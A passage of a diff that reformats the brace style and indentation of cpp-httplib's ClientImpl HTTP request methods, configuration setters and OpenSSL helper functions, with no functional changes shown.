ClientImpl::Get(const std::string &path, ContentReceiver content_receiver, - Progress progress) { - return Get(path, Headers(), nullptr, std::move(content_receiver), - std::move(progress)); + Progress progress) +{ + return Get(path, Headers(), nullptr, std::move(content_receiver), + std::move(progress)); } inline Result ClientImpl::Get(const std::string &path, const Headers &headers, - ContentReceiver content_receiver) { - return Get(path, headers, nullptr, std::move(content_receiver), nullptr); + ContentReceiver content_receiver) +{ + return Get(path, headers, nullptr, std::move(content_receiver), nullptr); } inline Result ClientImpl::Get(const std::string &path, const Headers &headers, ContentReceiver content_receiver, - Progress progress) { - return Get(path, headers, nullptr, std::move(content_receiver), - std::move(progress)); + Progress progress) +{ + return Get(path, headers, nullptr, std::move(content_receiver), + std::move(progress)); } inline Result ClientImpl::Get(const std::string &path, ResponseHandler response_handler, - ContentReceiver content_receiver) { - return Get(path, Headers(), std::move(response_handler), - std::move(content_receiver), nullptr); + ContentReceiver content_receiver) +{ + return Get(path, Headers(), std::move(response_handler), + std::move(content_receiver), nullptr); } inline Result ClientImpl::Get(const std::string &path, const Headers &headers, ResponseHandler response_handler, - ContentReceiver content_receiver) { - return Get(path, headers, std::move(response_handler), - std::move(content_receiver), nullptr); + ContentReceiver content_receiver) +{ + return Get(path, headers, std::move(response_handler), + std::move(content_receiver), nullptr); } inline Result ClientImpl::Get(const std::string &path, ResponseHandler response_handler, ContentReceiver content_receiver, - Progress progress) { - return Get(path, Headers(), std::move(response_handler), - std::move(content_receiver), std::move(progress)); + Progress progress) +{ + return Get(path, Headers(), std::move(response_handler), + std::move(content_receiver), std::move(progress)); } inline Result ClientImpl::Get(const std::string &path, const Headers &headers, ResponseHandler response_handler, ContentReceiver content_receiver, - Progress progress) { - Request req; - req.method = "GET"; - req.path = path; - req.headers = headers; - req.response_handler = std::move(response_handler); - req.content_receiver = - [content_receiver](const char *data, size_t data_length, - uint64_t /*offset*/, uint64_t /*total_length*/) { + Progress progress) +{ + Request req; + req.method = "GET"; + req.path = path; + req.headers = headers; + req.response_handler = std::move(response_handler); + req.content_receiver = + [content_receiver](const char *data, size_t data_length, + uint64_t /*offset*/, uint64_t /*total_length*/) { return content_receiver(data, data_length); - }; - req.progress = std::move(progress); + }; + req.progress = std::move(progress); - return send_(std::move(req)); + return send_(std::move(req)); } inline Result ClientImpl::Get(const std::string &path, const Params ¶ms, - const Headers &headers, Progress progress) { - if (params.empty()) { return Get(path, headers); } + const Headers &headers, Progress progress) +{ + if (params.empty()) { + return Get(path, headers); + } - std::string path_with_query = append_query_params(path, params); - return Get(path_with_query, headers, progress); + std::string path_with_query = append_query_params(path, params); + return Get(path_with_query, headers, progress); } inline Result ClientImpl::Get(const std::string &path, const Params ¶ms, const Headers &headers, ContentReceiver content_receiver, - Progress progress) { - return Get(path, params, headers, nullptr, content_receiver, progress); + Progress progress) +{ + return Get(path, params, headers, nullptr, content_receiver, progress); } inline Result ClientImpl::Get(const std::string &path, const Params ¶ms, const Headers &headers, ResponseHandler response_handler, ContentReceiver content_receiver, - Progress progress) { - if (params.empty()) { - return Get(path, headers, response_handler, content_receiver, progress); - } + Progress progress) +{ + if (params.empty()) { + return Get(path, headers, response_handler, content_receiver, progress); + } - std::string path_with_query = append_query_params(path, params); - return Get(path_with_query, headers, response_handler, content_receiver, - progress); + std::string path_with_query = append_query_params(path, params); + return Get(path_with_query, headers, response_handler, content_receiver, + progress); } -inline Result ClientImpl::Head(const std::string &path) { - return Head(path, Headers()); +inline Result ClientImpl::Head(const std::string &path) +{ + return Head(path, Headers()); } inline Result ClientImpl::Head(const std::string &path, - const Headers &headers) { - Request req; - req.method = "HEAD"; - req.headers = headers; - req.path = path; + const Headers &headers) +{ + Request req; + req.method = "HEAD"; + req.headers = headers; + req.path = path; - return send_(std::move(req)); + return send_(std::move(req)); } -inline Result ClientImpl::Post(const std::string &path) { - return Post(path, std::string(), std::string()); +inline Result ClientImpl::Post(const std::string &path) +{ + return Post(path, std::string(), std::string()); } inline Result ClientImpl::Post(const std::string &path, - const Headers &headers) { - return Post(path, headers, nullptr, 0, std::string()); + const Headers &headers) +{ + return Post(path, headers, nullptr, 0, std::string()); } inline Result ClientImpl::Post(const std::string &path, const char *body, size_t content_length, - const std::string &content_type) { - return Post(path, Headers(), body, content_length, content_type); + const std::string &content_type) +{ + return Post(path, Headers(), body, content_length, content_type); } inline Result ClientImpl::Post(const std::string &path, const Headers &headers, const char *body, size_t content_length, - const std::string &content_type) { - return send_with_content_provider("POST", path, headers, body, content_length, - nullptr, nullptr, content_type); + const std::string &content_type) +{ + return send_with_content_provider("POST", path, headers, body, content_length, + nullptr, nullptr, content_type); } inline Result ClientImpl::Post(const std::string &path, const std::string &body, - const std::string &content_type) { - return Post(path, Headers(), body, content_type); + const std::string &content_type) +{ + return Post(path, Headers(), body, content_type); } inline Result ClientImpl::Post(const std::string &path, const Headers &headers, const std::string &body, - const std::string &content_type) { - return send_with_content_provider("POST", path, headers, body.data(), - body.size(), nullptr, nullptr, - content_type); + const std::string &content_type) +{ + return send_with_content_provider("POST", path, headers, body.data(), + body.size(), nullptr, nullptr, + content_type); } -inline Result ClientImpl::Post(const std::string &path, const Params ¶ms) { - return Post(path, Headers(), params); +inline Result ClientImpl::Post(const std::string &path, const Params ¶ms) +{ + return Post(path, Headers(), params); } inline Result ClientImpl::Post(const std::string &path, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return Post(path, Headers(), content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return Post(path, Headers(), content_length, std::move(content_provider), + content_type); } inline Result ClientImpl::Post(const std::string &path, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return Post(path, Headers(), std::move(content_provider), content_type); + const std::string &content_type) +{ + return Post(path, Headers(), std::move(content_provider), content_type); } inline Result ClientImpl::Post(const std::string &path, const Headers &headers, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return send_with_content_provider("POST", path, headers, nullptr, - content_length, std::move(content_provider), - nullptr, content_type); + const std::string &content_type) +{ + return send_with_content_provider("POST", path, headers, nullptr, + content_length, std::move(content_provider), + nullptr, content_type); } inline Result ClientImpl::Post(const std::string &path, const Headers &headers, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return send_with_content_provider("POST", path, headers, nullptr, 0, nullptr, - std::move(content_provider), content_type); + const std::string &content_type) +{ + return send_with_content_provider("POST", path, headers, nullptr, 0, nullptr, + std::move(content_provider), content_type); } inline Result ClientImpl::Post(const std::string &path, const Headers &headers, - const Params ¶ms) { - auto query = detail::params_to_query_str(params); - return Post(path, headers, query, "application/x-www-form-urlencoded"); + const Params ¶ms) +{ + auto query = detail::params_to_query_str(params); + return Post(path, headers, query, "application/x-www-form-urlencoded"); } inline Result ClientImpl::Post(const std::string &path, - const MultipartFormDataItems &items) { - return Post(path, Headers(), items); + const MultipartFormDataItems &items) +{ + return Post(path, Headers(), items); } inline Result ClientImpl::Post(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items) { - const auto &boundary = detail::make_multipart_data_boundary(); - const auto &content_type = - detail::serialize_multipart_formdata_get_content_type(boundary); - const auto &body = detail::serialize_multipart_formdata(items, boundary); - return Post(path, headers, body, content_type); + const MultipartFormDataItems &items) +{ + const auto &boundary = detail::make_multipart_data_boundary(); + const auto &content_type = + detail::serialize_multipart_formdata_get_content_type(boundary); + const auto &body = detail::serialize_multipart_formdata(items, boundary); + return Post(path, headers, body, content_type); } inline Result ClientImpl::Post(const std::string &path, const Headers &headers, const MultipartFormDataItems &items, - const std::string &boundary) { - if (!detail::is_multipart_boundary_chars_valid(boundary)) { - return Result{nullptr, Error::UnsupportedMultipartBoundaryChars}; - } + const std::string &boundary) +{ + if (!detail::is_multipart_boundary_chars_valid(boundary)) { + return Result{nullptr, Error::UnsupportedMultipartBoundaryChars}; + } - const auto &content_type = - detail::serialize_multipart_formdata_get_content_type(boundary); - const auto &body = detail::serialize_multipart_formdata(items, boundary); - return Post(path, headers, body, content_type); + const auto &content_type = + detail::serialize_multipart_formdata_get_content_type(boundary); + const auto &body = detail::serialize_multipart_formdata(items, boundary); + return Post(path, headers, body, content_type); } inline Result ClientImpl::Post(const std::string &path, const Headers &headers, const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items) { - const auto &boundary = detail::make_multipart_data_boundary(); - const auto &content_type = - detail::serialize_multipart_formdata_get_content_type(boundary); - return send_with_content_provider( - "POST", path, headers, nullptr, 0, nullptr, - get_multipart_content_provider(boundary, items, provider_items), - content_type); + const MultipartFormDataProviderItems &provider_items) +{ + const auto &boundary = detail::make_multipart_data_boundary(); + const auto &content_type = + detail::serialize_multipart_formdata_get_content_type(boundary); + return send_with_content_provider( + "POST", path, headers, nullptr, 0, nullptr, + get_multipart_content_provider(boundary, items, provider_items), + content_type); } -inline Result ClientImpl::Put(const std::string &path) { - return Put(path, std::string(), std::string()); +inline Result ClientImpl::Put(const std::string &path) +{ + return Put(path, std::string(), std::string()); } inline Result ClientImpl::Put(const std::string &path, const char *body, size_t content_length, - const std::string &content_type) { - return Put(path, Headers(), body, content_length, content_type); + const std::string &content_type) +{ + return Put(path, Headers(), body, content_length, content_type); } inline Result ClientImpl::Put(const std::string &path, const Headers &headers, const char *body, size_t content_length, - const std::string &content_type) { - return send_with_content_provider("PUT", path, headers, body, content_length, - nullptr, nullptr, content_type); + const std::string &content_type) +{ + return send_with_content_provider("PUT", path, headers, body, content_length, + nullptr, nullptr, content_type); } inline Result ClientImpl::Put(const std::string &path, const std::string &body, - const std::string &content_type) { - return Put(path, Headers(), body, content_type); + const std::string &content_type) +{ + return Put(path, Headers(), body, content_type); } inline Result ClientImpl::Put(const std::string &path, const Headers &headers, const std::string &body, - const std::string &content_type) { - return send_with_content_provider("PUT", path, headers, body.data(), - body.size(), nullptr, nullptr, - content_type); + const std::string &content_type) +{ + return send_with_content_provider("PUT", path, headers, body.data(), + body.size(), nullptr, nullptr, + content_type); } inline Result ClientImpl::Put(const std::string &path, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return Put(path, Headers(), content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return Put(path, Headers(), content_length, std::move(content_provider), + content_type); } inline Result ClientImpl::Put(const std::string &path, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return Put(path, Headers(), std::move(content_provider), content_type); + const std::string &content_type) +{ + return Put(path, Headers(), std::move(content_provider), content_type); } inline Result ClientImpl::Put(const std::string &path, const Headers &headers, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return send_with_content_provider("PUT", path, headers, nullptr, - content_length, std::move(content_provider), - nullptr, content_type); + const std::string &content_type) +{ + return send_with_content_provider("PUT", path, headers, nullptr, + content_length, std::move(content_provider), + nullptr, content_type); } inline Result ClientImpl::Put(const std::string &path, const Headers &headers, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return send_with_content_provider("PUT", path, headers, nullptr, 0, nullptr, - std::move(content_provider), content_type); + const std::string &content_type) +{ + return send_with_content_provider("PUT", path, headers, nullptr, 0, nullptr, + std::move(content_provider), content_type); } -inline Result ClientImpl::Put(const std::string &path, const Params ¶ms) { - return Put(path, Headers(), params); +inline Result ClientImpl::Put(const std::string &path, const Params ¶ms) +{ + return Put(path, Headers(), params); } inline Result ClientImpl::Put(const std::string &path, const Headers &headers, - const Params ¶ms) { - auto query = detail::params_to_query_str(params); - return Put(path, headers, query, "application/x-www-form-urlencoded"); + const Params ¶ms) +{ + auto query = detail::params_to_query_str(params); + return Put(path, headers, query, "application/x-www-form-urlencoded"); } inline Result ClientImpl::Put(const std::string &path, - const MultipartFormDataItems &items) { - return Put(path, Headers(), items); + const MultipartFormDataItems &items) +{ + return Put(path, Headers(), items); } inline Result ClientImpl::Put(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items) { - const auto &boundary = detail::make_multipart_data_boundary(); - const auto &content_type = - detail::serialize_multipart_formdata_get_content_type(boundary); - const auto &body = detail::serialize_multipart_formdata(items, boundary); - return Put(path, headers, body, content_type); + const MultipartFormDataItems &items) +{ + const auto &boundary = detail::make_multipart_data_boundary(); + const auto &content_type = + detail::serialize_multipart_formdata_get_content_type(boundary); + const auto &body = detail::serialize_multipart_formdata(items, boundary); + return Put(path, headers, body, content_type); } inline Result ClientImpl::Put(const std::string &path, const Headers &headers, const MultipartFormDataItems &items, - const std::string &boundary) { - if (!detail::is_multipart_boundary_chars_valid(boundary)) { - return Result{nullptr, Error::UnsupportedMultipartBoundaryChars}; - } + const std::string &boundary) +{ + if (!detail::is_multipart_boundary_chars_valid(boundary)) { + return Result{nullptr, Error::UnsupportedMultipartBoundaryChars}; + } - const auto &content_type = - detail::serialize_multipart_formdata_get_content_type(boundary); - const auto &body = detail::serialize_multipart_formdata(items, boundary); - return Put(path, headers, body, content_type); + const auto &content_type = + detail::serialize_multipart_formdata_get_content_type(boundary); + const auto &body = detail::serialize_multipart_formdata(items, boundary); + return Put(path, headers, body, content_type); } inline Result ClientImpl::Put(const std::string &path, const Headers &headers, const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items) { - const auto &boundary = detail::make_multipart_data_boundary(); - const auto &content_type = - detail::serialize_multipart_formdata_get_content_type(boundary); - return send_with_content_provider( - "PUT", path, headers, nullptr, 0, nullptr, - get_multipart_content_provider(boundary, items, provider_items), - content_type); + const MultipartFormDataProviderItems &provider_items) +{ + const auto &boundary = detail::make_multipart_data_boundary(); + const auto &content_type = + detail::serialize_multipart_formdata_get_content_type(boundary); + return send_with_content_provider( + "PUT", path, headers, nullptr, 0, nullptr, + get_multipart_content_provider(boundary, items, provider_items), + content_type); } -inline Result ClientImpl::Patch(const std::string &path) { - return Patch(path, std::string(), std::string()); +inline Result ClientImpl::Patch(const std::string &path) +{ + return Patch(path, std::string(), std::string()); } inline Result ClientImpl::Patch(const std::string &path, const char *body, size_t content_length, - const std::string &content_type) { - return Patch(path, Headers(), body, content_length, content_type); + const std::string &content_type) +{ + return Patch(path, Headers(), body, content_length, content_type); } inline Result ClientImpl::Patch(const std::string &path, const Headers &headers, const char *body, size_t content_length, - const std::string &content_type) { - return send_with_content_provider("PATCH", path, headers, body, - content_length, nullptr, nullptr, - content_type); + const std::string &content_type) +{ + return send_with_content_provider("PATCH", path, headers, body, + content_length, nullptr, nullptr, + content_type); } inline Result ClientImpl::Patch(const std::string &path, const std::string &body, - const std::string &content_type) { - return Patch(path, Headers(), body, content_type); + const std::string &content_type) +{ + return Patch(path, Headers(), body, content_type); } inline Result ClientImpl::Patch(const std::string &path, const Headers &headers, const std::string &body, - const std::string &content_type) { - return send_with_content_provider("PATCH", path, headers, body.data(), - body.size(), nullptr, nullptr, - content_type); + const std::string &content_type) +{ + return send_with_content_provider("PATCH", path, headers, body.data(), + body.size(), nullptr, nullptr, + content_type); } inline Result ClientImpl::Patch(const std::string &path, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return Patch(path, Headers(), content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return Patch(path, Headers(), content_length, std::move(content_provider), + content_type); } inline Result ClientImpl::Patch(const std::string &path, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return Patch(path, Headers(), std::move(content_provider), content_type); + const std::string &content_type) +{ + return Patch(path, Headers(), std::move(content_provider), content_type); } inline Result ClientImpl::Patch(const std::string &path, const Headers &headers, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return send_with_content_provider("PATCH", path, headers, nullptr, - content_length, std::move(content_provider), - nullptr, content_type); + const std::string &content_type) +{ + return send_with_content_provider("PATCH", path, headers, nullptr, + content_length, std::move(content_provider), + nullptr, content_type); } inline Result ClientImpl::Patch(const std::string &path, const Headers &headers, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return send_with_content_provider("PATCH", path, headers, nullptr, 0, nullptr, - std::move(content_provider), content_type); + const std::string &content_type) +{ + return send_with_content_provider("PATCH", path, headers, nullptr, 0, nullptr, + std::move(content_provider), content_type); } -inline Result ClientImpl::Delete(const std::string &path) { - return Delete(path, Headers(), std::string(), std::string()); +inline Result ClientImpl::Delete(const std::string &path) +{ + return Delete(path, Headers(), std::string(), std::string()); } inline Result ClientImpl::Delete(const std::string &path, - const Headers &headers) { - return Delete(path, headers, std::string(), std::string()); + const Headers &headers) +{ + return Delete(path, headers, std::string(), std::string()); } inline Result ClientImpl::Delete(const std::string &path, const char *body, size_t content_length, - const std::string &content_type) { - return Delete(path, Headers(), body, content_length, content_type); + const std::string &content_type) +{ + return Delete(path, Headers(), body, content_length, content_type); } inline Result ClientImpl::Delete(const std::string &path, const Headers &headers, const char *body, size_t content_length, - const std::string &content_type) { - Request req; - req.method = "DELETE"; - req.headers = headers; - req.path = path; + const std::string &content_type) +{ + Request req; + req.method = "DELETE"; + req.headers = headers; + req.path = path; - if (!content_type.empty()) { req.set_header("Content-Type", content_type); } - req.body.assign(body, content_length); + if (!content_type.empty()) { + req.set_header("Content-Type", content_type); + } + req.body.assign(body, content_length); - return send_(std::move(req)); + return send_(std::move(req)); } inline Result ClientImpl::Delete(const std::string &path, const std::string &body, - const std::string &content_type) { - return Delete(path, Headers(), body.data(), body.size(), content_type); + const std::string &content_type) +{ + return Delete(path, Headers(), body.data(), body.size(), content_type); } inline Result ClientImpl::Delete(const std::string &path, const Headers &headers, const std::string &body, - const std::string &content_type) { - return Delete(path, headers, body.data(), body.size(), content_type); + const std::string &content_type) +{ + return Delete(path, headers, body.data(), body.size(), content_type); } -inline Result ClientImpl::Options(const std::string &path) { - return Options(path, Headers()); +inline Result ClientImpl::Options(const std::string &path) +{ + return Options(path, Headers()); } inline Result ClientImpl::Options(const std::string &path, - const Headers &headers) { - Request req; - req.method = "OPTIONS"; - req.headers = headers; - req.path = path; + const Headers &headers) +{ + Request req; + req.method = "OPTIONS"; + req.headers = headers; + req.path = path; - return send_(std::move(req)); + return send_(std::move(req)); } -inline void ClientImpl::stop() { - std::lock_guard guard(socket_mutex_); +inline void ClientImpl::stop() +{ + std::lock_guard guard(socket_mutex_); - // If there is anything ongoing right now, the ONLY thread-safe thing we can - // do is to shutdown_socket, so that threads using this socket suddenly - // discover they can't read/write any more and error out. Everything else - // (closing the socket, shutting ssl down) is unsafe because these actions are - // not thread-safe. - if (socket_requests_in_flight_ > 0) { + // If there is anything ongoing right now, the ONLY thread-safe thing we can + // do is to shutdown_socket, so that threads using this socket suddenly + // discover they can't read/write any more and error out. Everything else + // (closing the socket, shutting ssl down) is unsafe because these actions are + // not thread-safe. + if (socket_requests_in_flight_ > 0) { + shutdown_socket(socket_); + + // Aside from that, we set a flag for the socket to be closed when we're + // done. + socket_should_be_closed_when_request_is_done_ = true; + return; + } + + // Otherwise, still holding the mutex, we can shut everything down ourselves + shutdown_ssl(socket_, true); shutdown_socket(socket_); - - // Aside from that, we set a flag for the socket to be closed when we're - // done. - socket_should_be_closed_when_request_is_done_ = true; - return; - } - - // Otherwise, still holding the mutex, we can shut everything down ourselves - shutdown_ssl(socket_, true); - shutdown_socket(socket_); - close_socket(socket_); + close_socket(socket_); } -inline std::string ClientImpl::host() const { return host_; } - -inline int ClientImpl::port() const { return port_; } - -inline size_t ClientImpl::is_socket_open() const { - std::lock_guard guard(socket_mutex_); - return socket_.is_open(); +inline std::string ClientImpl::host() const +{ + return host_; } -inline socket_t ClientImpl::socket() const { return socket_.sock; } - -inline void ClientImpl::set_connection_timeout(time_t sec, time_t usec) { - connection_timeout_sec_ = sec; - connection_timeout_usec_ = usec; +inline int ClientImpl::port() const +{ + return port_; } -inline void ClientImpl::set_read_timeout(time_t sec, time_t usec) { - read_timeout_sec_ = sec; - read_timeout_usec_ = usec; +inline size_t ClientImpl::is_socket_open() const +{ + std::lock_guard guard(socket_mutex_); + return socket_.is_open(); } -inline void ClientImpl::set_write_timeout(time_t sec, time_t usec) { - write_timeout_sec_ = sec; - write_timeout_usec_ = usec; +inline socket_t ClientImpl::socket() const +{ + return socket_.sock; +} + +inline void ClientImpl::set_connection_timeout(time_t sec, time_t usec) +{ + connection_timeout_sec_ = sec; + connection_timeout_usec_ = usec; +} + +inline void ClientImpl::set_read_timeout(time_t sec, time_t usec) +{ + read_timeout_sec_ = sec; + read_timeout_usec_ = usec; +} + +inline void ClientImpl::set_write_timeout(time_t sec, time_t usec) +{ + write_timeout_sec_ = sec; + write_timeout_usec_ = usec; } inline void ClientImpl::set_basic_auth(const std::string &username, - const std::string &password) { - basic_auth_username_ = username; - basic_auth_password_ = password; + const std::string &password) +{ + basic_auth_username_ = username; + basic_auth_password_ = password; } -inline void ClientImpl::set_bearer_token_auth(const std::string &token) { - bearer_token_auth_token_ = token; +inline void ClientImpl::set_bearer_token_auth(const std::string &token) +{ + bearer_token_auth_token_ = token; } #ifdef CPPHTTPLIB_OPENSSL_SUPPORT inline void ClientImpl::set_digest_auth(const std::string &username, - const std::string &password) { - digest_auth_username_ = username; - digest_auth_password_ = password; + const std::string &password) +{ + digest_auth_username_ = username; + digest_auth_password_ = password; } #endif -inline void ClientImpl::set_keep_alive(bool on) { keep_alive_ = on; } - -inline void ClientImpl::set_follow_location(bool on) { follow_location_ = on; } - -inline void ClientImpl::set_url_encode(bool on) { url_encode_ = on; } - -inline void -ClientImpl::set_hostname_addr_map(std::map addr_map) { - addr_map_ = std::move(addr_map); +inline void ClientImpl::set_keep_alive(bool on) +{ + keep_alive_ = on; } -inline void ClientImpl::set_default_headers(Headers headers) { - default_headers_ = std::move(headers); +inline void ClientImpl::set_follow_location(bool on) +{ + follow_location_ = on; +} + +inline void ClientImpl::set_url_encode(bool on) +{ + url_encode_ = on; +} + +inline void +ClientImpl::set_hostname_addr_map(std::map addr_map) +{ + addr_map_ = std::move(addr_map); +} + +inline void ClientImpl::set_default_headers(Headers headers) +{ + default_headers_ = std::move(headers); } inline void ClientImpl::set_header_writer( - std::function const &writer) { - header_writer_ = writer; + std::function const &writer) +{ + header_writer_ = writer; } -inline void ClientImpl::set_address_family(int family) { - address_family_ = family; +inline void ClientImpl::set_address_family(int family) +{ + address_family_ = family; } -inline void ClientImpl::set_tcp_nodelay(bool on) { tcp_nodelay_ = on; } - -inline void ClientImpl::set_socket_options(SocketOptions socket_options) { - socket_options_ = std::move(socket_options); +inline void ClientImpl::set_tcp_nodelay(bool on) +{ + tcp_nodelay_ = on; } -inline void ClientImpl::set_compress(bool on) { compress_ = on; } - -inline void ClientImpl::set_decompress(bool on) { decompress_ = on; } - -inline void ClientImpl::set_interface(const std::string &intf) { - interface_ = intf; +inline void ClientImpl::set_socket_options(SocketOptions socket_options) +{ + socket_options_ = std::move(socket_options); } -inline void ClientImpl::set_proxy(const std::string &host, int port) { - proxy_host_ = host; - proxy_port_ = port; +inline void ClientImpl::set_compress(bool on) +{ + compress_ = on; +} + +inline void ClientImpl::set_decompress(bool on) +{ + decompress_ = on; +} + +inline void ClientImpl::set_interface(const std::string &intf) +{ + interface_ = intf; +} + +inline void ClientImpl::set_proxy(const std::string &host, int port) +{ + proxy_host_ = host; + proxy_port_ = port; } inline void ClientImpl::set_proxy_basic_auth(const std::string &username, - const std::string &password) { - proxy_basic_auth_username_ = username; - proxy_basic_auth_password_ = password; + const std::string &password) +{ + proxy_basic_auth_username_ = username; + proxy_basic_auth_password_ = password; } -inline void ClientImpl::set_proxy_bearer_token_auth(const std::string &token) { - proxy_bearer_token_auth_token_ = token; +inline void ClientImpl::set_proxy_bearer_token_auth(const std::string &token) +{ + proxy_bearer_token_auth_token_ = token; } #ifdef CPPHTTPLIB_OPENSSL_SUPPORT inline void ClientImpl::set_proxy_digest_auth(const std::string &username, - const std::string &password) { - proxy_digest_auth_username_ = username; - proxy_digest_auth_password_ = password; + const std::string &password) +{ + proxy_digest_auth_username_ = username; + proxy_digest_auth_password_ = password; } inline void ClientImpl::set_ca_cert_path(const std::string &ca_cert_file_path, - const std::string &ca_cert_dir_path) { - ca_cert_file_path_ = ca_cert_file_path; - ca_cert_dir_path_ = ca_cert_dir_path; + const std::string &ca_cert_dir_path) +{ + ca_cert_file_path_ = ca_cert_file_path; + ca_cert_dir_path_ = ca_cert_dir_path; } -inline void ClientImpl::set_ca_cert_store(X509_STORE *ca_cert_store) { - if (ca_cert_store && ca_cert_store != ca_cert_store_) { - ca_cert_store_ = ca_cert_store; - } +inline void ClientImpl::set_ca_cert_store(X509_STORE *ca_cert_store) +{ + if (ca_cert_store && ca_cert_store != ca_cert_store_) { + ca_cert_store_ = ca_cert_store; + } } inline X509_STORE *ClientImpl::create_ca_cert_store(const char *ca_cert, - std::size_t size) const { - auto mem = BIO_new_mem_buf(ca_cert, static_cast(size)); - if (!mem) { return nullptr; } - - auto inf = PEM_X509_INFO_read_bio(mem, nullptr, nullptr, nullptr); - if (!inf) { - BIO_free_all(mem); - return nullptr; - } - - auto cts = X509_STORE_new(); - if (cts) { - for (auto i = 0; i < static_cast(sk_X509_INFO_num(inf)); i++) { - auto itmp = sk_X509_INFO_value(inf, i); - if (!itmp) { continue; } - - if (itmp->x509) { X509_STORE_add_cert(cts, itmp->x509); } - if (itmp->crl) { X509_STORE_add_crl(cts, itmp->crl); } + std::size_t size) const +{ + auto mem = BIO_new_mem_buf(ca_cert, static_cast(size)); + if (!mem) { + return nullptr; } - } - sk_X509_INFO_pop_free(inf, X509_INFO_free); - BIO_free_all(mem); - return cts; + auto inf = PEM_X509_INFO_read_bio(mem, nullptr, nullptr, nullptr); + if (!inf) { + BIO_free_all(mem); + return nullptr; + } + + auto cts = X509_STORE_new(); + if (cts) { + for (auto i = 0; i < static_cast(sk_X509_INFO_num(inf)); i++) { + auto itmp = sk_X509_INFO_value(inf, i); + if (!itmp) { + continue; + } + + if (itmp->x509) { + X509_STORE_add_cert(cts, itmp->x509); + } + if (itmp->crl) { + X509_STORE_add_crl(cts, itmp->crl); + } + } + } + + sk_X509_INFO_pop_free(inf, X509_INFO_free); + BIO_free_all(mem); + return cts; } -inline void ClientImpl::enable_server_certificate_verification(bool enabled) { - server_certificate_verification_ = enabled; +inline void ClientImpl::enable_server_certificate_verification(bool enabled) +{ + server_certificate_verification_ = enabled; } #endif -inline void ClientImpl::set_logger(Logger logger) { - logger_ = std::move(logger); +inline void ClientImpl::set_logger(Logger logger) +{ + logger_ = std::move(logger); } /* * SSL Implementation */ #ifdef CPPHTTPLIB_OPENSSL_SUPPORT -namespace detail { +namespace detail +{ template inline SSL *ssl_new(socket_t sock, SSL_CTX *ctx, std::mutex &ctx_mutex, - U SSL_connect_or_accept, V setup) { - SSL *ssl = nullptr; - { - std::lock_guard guard(ctx_mutex); - ssl = SSL_new(ctx); - } - - if (ssl) { - set_nonblocking(sock, true); - auto bio = BIO_new_socket(static_cast(sock), BIO_NOCLOSE); - BIO_set_nbio(bio, 1); - SSL_set_bio(ssl, bio, bio); - - if (!setup(ssl) || SSL_connect_or_accept(ssl) != 1) { - SSL_shutdown(ssl); - { + U SSL_connect_or_accept, V setup) +{ + SSL *ssl = nullptr; + { std::lock_guard guard(ctx_mutex); - SSL_free(ssl); - } - set_nonblocking(sock, false); - return nullptr; + ssl = SSL_new(ctx); } - BIO_set_nbio(bio, 0); - set_nonblocking(sock, false); - } - return ssl; + if (ssl) { + set_nonblocking(sock, true); + auto bio = BIO_new_socket(static_cast(sock), BIO_NOCLOSE); + BIO_set_nbio(bio, 1); + SSL_set_bio(ssl, bio, bio); + + if (!setup(ssl) || SSL_connect_or_accept(ssl) != 1) { + SSL_shutdown(ssl); + { + std::lock_guard guard(ctx_mutex); + SSL_free(ssl); + } + set_nonblocking(sock, false); + return nullptr; + } + BIO_set_nbio(bio, 0); + set_nonblocking(sock, false); + } + + return ssl; } inline void ssl_delete(std::mutex &ctx_mutex, SSL *ssl, - bool shutdown_gracefully) { - // sometimes we may want to skip this to try to avoid SIGPIPE if we know - // the remote has closed the network connection - // Note that it is not always possible to avoid SIGPIPE, this is merely a - // best-efforts. - if (shutdown_gracefully) { SSL_shutdown(ssl); } + bool shutdown_gracefully) +{ + // sometimes we may want to skip this to try to avoid SIGPIPE if we know + // the remote has closed the network connection + // Note that it is not always possible to avoid SIGPIPE, this is merely a + // best-efforts. + if (shutdown_gracefully) { + SSL_shutdown(ssl); + } - std::lock_guard guard(ctx_mutex); - SSL_free(ssl); + std::lock_guard guard(ctx_mutex); + SSL_free(ssl); } template bool ssl_connect_or_accept_nonblocking(socket_t sock, SSL *ssl, U ssl_connect_or_accept, time_t timeout_sec, - time_t timeout_usec) { - auto res = 0; - while ((res = ssl_connect_or_accept(ssl)) != 1) { - auto err = SSL_get_error(ssl, res); - switch (err) { - case SSL_ERROR_WANT_READ: - if (select_read(sock, timeout_sec, timeout_usec) > 0) { continue; } - break; - case SSL_ERROR_WANT_WRITE: - if (select_write(sock, timeout_sec, timeout_usec) > 0) { continue; } - break; - default: break; + time_t timeout_usec) +{ + auto res = 0; + while ((res = ssl_connect_or_accept(ssl)) != 1) { + auto err = SSL_get_error(ssl, res); + switch (err) { + case SSL_ERROR_WANT_READ: + if (select_read(sock, timeout_sec, timeout_usec) > 0) { + continue; + } + break; + case SSL_ERROR_WANT_WRITE: + if (select_write(sock, timeout_sec, timeout_usec) > 0) { + continue; + } + break; + default: + break; + } + return false; } - return false; - } - return true; + return true; } template @@ -8215,32 +9344,36 @@ inline bool process_server_socket_ssl( const std::atomic &svr_sock, SSL *ssl, socket_t sock, size_t keep_alive_max_count, time_t keep_alive_timeout_sec, time_t read_timeout_sec, time_t read_timeout_usec, time_t write_timeout_sec, - time_t write_timeout_usec, T callback) { - return process_server_socket_core( - svr_sock, sock, keep_alive_max_count, keep_alive_timeout_sec, - [&](bool close_connection, bool &connection_closed) { + time_t write_timeout_usec, T callback) +{ + return process_server_socket_core( + svr_sock, sock, keep_alive_max_count, keep_alive_timeout_sec, + [&](bool close_connection, 